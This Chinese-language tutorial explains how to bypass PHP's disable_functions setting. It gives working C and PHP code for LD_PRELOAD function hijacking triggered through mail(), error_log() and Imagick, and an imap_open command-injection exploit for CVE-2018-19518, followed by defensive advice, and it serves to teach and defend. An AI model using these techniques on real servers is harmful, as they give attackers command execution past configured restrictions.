Bypass disabled_functions一些思路总结
字数 971 2025-08-26 22:11:29

Bypass PHP disabled_functions 技术总结

1. 基本概念

disabled_functions 是 PHP 的安全配置选项,用于禁用危险函数以防止攻击者利用。当关键函数被禁用时,攻击者需要寻找其他途径绕过限制。

2. LD_PRELOAD 技术

2.1 LD_PRELOAD 原理

LD_PRELOAD 是 Linux 系统的环境变量,用于指定在程序运行前优先加载的动态链接库。通过这个机制可以:

  1. 覆盖标准库函数
  2. 注入恶意代码
  3. 劫持函数调用

2.2 基本演示

示例代码 (id.c):

#include <dlfcn.h>
#include <unistd.h>
#include <sys/types.h>

uid_t geteuid(void) { return 0; }
uid_t getuid(void) { return 0; }
uid_t getgid(void) { return 0; }

编译与使用:

gcc -shared -o id.so id.c
export LD_PRELOAD=./id.so

执行后,idwhoami 命令会显示 root 权限。

3. PHP 中的利用方法

3.1 putenv + mail 组合

步骤:

  1. 创建恶意动态链接库
  2. 使用 putenv 设置 LD_PRELOAD
  3. 通过 mail() 函数触发

示例代码 (test.c):

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
    system("ls > test");
}

int geteuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}

PHP 脚本 (mail.php):

<?php
putenv("LD_PRELOAD=./test.so");
mail("a@localhost","","","","");
?>

3.2 putenv + error_log 组合

mail() 被禁用时,可以使用 error_log 替代:

<?php
putenv("LD_PRELOAD=./test.so");
error_log("test",1,"","");
?>

4. ImageMagick 利用

4.1 环境搭建

apt-get update && apt-get install imagemagick
apt-get install php-pear php-dev libmagickwand-dev
pecl install imagick

4.2 利用方法

当处理特定视频文件时,ImageMagick 会调用 ffmpeg:

PHP 脚本 (img.php):

<?php
$img = new Imagick('img.mp4'); // 需要实际存在的文件
?>

配合 LD_PRELOAD:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel(void) {
    unsetenv("LD_PRELOAD");
    system("ls > test");
}

5. imap_open 漏洞 (CVE-2018-19518)

5.1 漏洞原理

imap_open 会调用 rsh/ssh,可通过 -oProxyCommand 参数执行任意命令。

5.2 利用代码

<?php
$exp = "echo test!test! > /tmp/test";
$base64_exp = base64_encode($exp);
$server = "x -oProxyCommand=echo\t${base64_exp}|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX') or die("\n\nError: ".imap_last_error());
?>

6. 防御措施

  1. 禁用不必要的函数和环境变量操作:

    disable_functions = putenv, mail, error_log, imap_open, etc.
    disable_classes = Imagick
    
  2. 限制 PHP 执行外部程序的能力

  3. 保持 PHP 和扩展更新,修补已知漏洞

  4. 使用安全配置检查工具定期审查 PHP 环境

  5. 考虑使用 PHP 的沙盒环境或容器化部署

7. 总结

本文介绍了多种绕过 PHP disabled_functions 的技术,包括:

  1. LD_PRELOAD 动态链接库注入
  2. 利用 mail() 和 error_log() 函数
  3. ImageMagick 扩展的利用
  4. imap_open 漏洞利用

管理员应全面了解这些技术以更好地保护 PHP 应用安全。

Bypass PHP disabled_ functions 技术总结 1. 基本概念 disabled_functions 是 PHP 的安全配置选项,用于禁用危险函数以防止攻击者利用。当关键函数被禁用时,攻击者需要寻找其他途径绕过限制。 2. LD_ PRELOAD 技术 2.1 LD_ PRELOAD 原理 LD_PRELOAD 是 Linux 系统的环境变量,用于指定在程序运行前优先加载的动态链接库。通过这个机制可以: 覆盖标准库函数 注入恶意代码 劫持函数调用 2.2 基本演示 示例代码 (id.c): 编译与使用: 执行后, id 和 whoami 命令会显示 root 权限。 3. PHP 中的利用方法 3.1 putenv + mail 组合 步骤: 创建恶意动态链接库 使用 putenv 设置 LD_PRELOAD 通过 mail() 函数触发 示例代码 (test.c): PHP 脚本 (mail.php): 3.2 putenv + error_ log 组合 当 mail() 被禁用时,可以使用 error_log 替代: 4. ImageMagick 利用 4.1 环境搭建 4.2 利用方法 当处理特定视频文件时,ImageMagick 会调用 ffmpeg: PHP 脚本 (img.php): 配合 LD_ PRELOAD: 5. imap_ open 漏洞 (CVE-2018-19518) 5.1 漏洞原理 imap_open 会调用 rsh/ssh,可通过 -oProxyCommand 参数执行任意命令。 5.2 利用代码 6. 防御措施 禁用不必要的函数和环境变量操作: 限制 PHP 执行外部程序的能力 保持 PHP 和扩展更新,修补已知漏洞 使用安全配置检查工具定期审查 PHP 环境 考虑使用 PHP 的沙盒环境或容器化部署 7. 总结 本文介绍了多种绕过 PHP disabled_functions 的技术,包括: LD_ PRELOAD 动态链接库注入 利用 mail() 和 error_ log() 函数 ImageMagick 扩展的利用 imap_ open 漏洞利用 管理员应全面了解这些技术以更好地保护 PHP 应用安全。